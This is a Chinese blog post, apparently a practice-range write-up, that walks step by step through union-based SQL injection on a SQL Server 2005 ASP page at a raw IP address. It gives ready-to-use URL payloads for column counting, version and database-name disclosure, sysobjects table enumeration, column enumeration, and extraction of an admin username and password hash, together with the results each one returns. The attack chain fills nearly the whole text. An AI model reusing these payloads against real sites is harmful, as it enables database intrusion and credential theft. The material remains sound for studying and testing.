sql server注入
sql server与mysql有一定的区别
sql server的库名:db_name(),版本:@@version,@@servername,当前用户:user
没有加括号;
然后还有就是在查表的时候,在需要的位置加上()括号里面加上语句即可;
http://219.153.49.228:41094/new_list.asp?id=2
可能会用到:
admin adminuser user pass password
1.用order by 进行测试
http://219.153.49.228:41094/new_list.asp?id=2 order by 1,2
区别于sql 这里查询需要用 union all select
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,2,'3',4
因为order by 1,2,3的时候报错,然后到4的时候又正确,说明有可能没有第三或者第三是需要加''
对显示的1,2进行注入
database(),version()
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,db_name(),'3',4
库名:db_name():mozhe_db_v2
版本:@@version:SQL Server 2005 - 9.00.1399.06
@@servername:Sql server的本地服务器名称:MOBAN9527\SQLEXPRESS
当前用户:user:dbo
4.进行查表
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
where xtype='u'的意思是U代表数据表
结果:manage,sysrowsetcolumns
5.查找字段limit 1,1
(select top 1 col_name(object_id('manage'),1) from sysobjects)
结果:id,username,password
(select top 1 col_name(object_id('sysrowsetcolumns'),1) from sysobjects)
获取表manage的字段的信息
1.获取账号
union all select 1,(select top 1 username from manage),null,null
username:admin_mz
获取id
(select top 1 id from manage)
id=1
获取密码
(select top 1 password from manage)
密码:72e1bfc3f01b7583
进行加解密获取密码
注意:大家都知道在数据库中有一个系统表sysobjects,里面存储了数据库各个对象的信息。
可以查询下看看结果。可以看出每个对象都有一个ID,这个表存储了表,存储过程,触发器,视图等相关信息。注意:字段没有。
object_id就是根据对象名称返回该对象的id.
object_name是根据对象id返回对象名称.
select object_id(对象名)等同于:
select id from sysobjects where name=对象名
select object_name(id号)等同于:
select name from sysobjects where id=id号
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构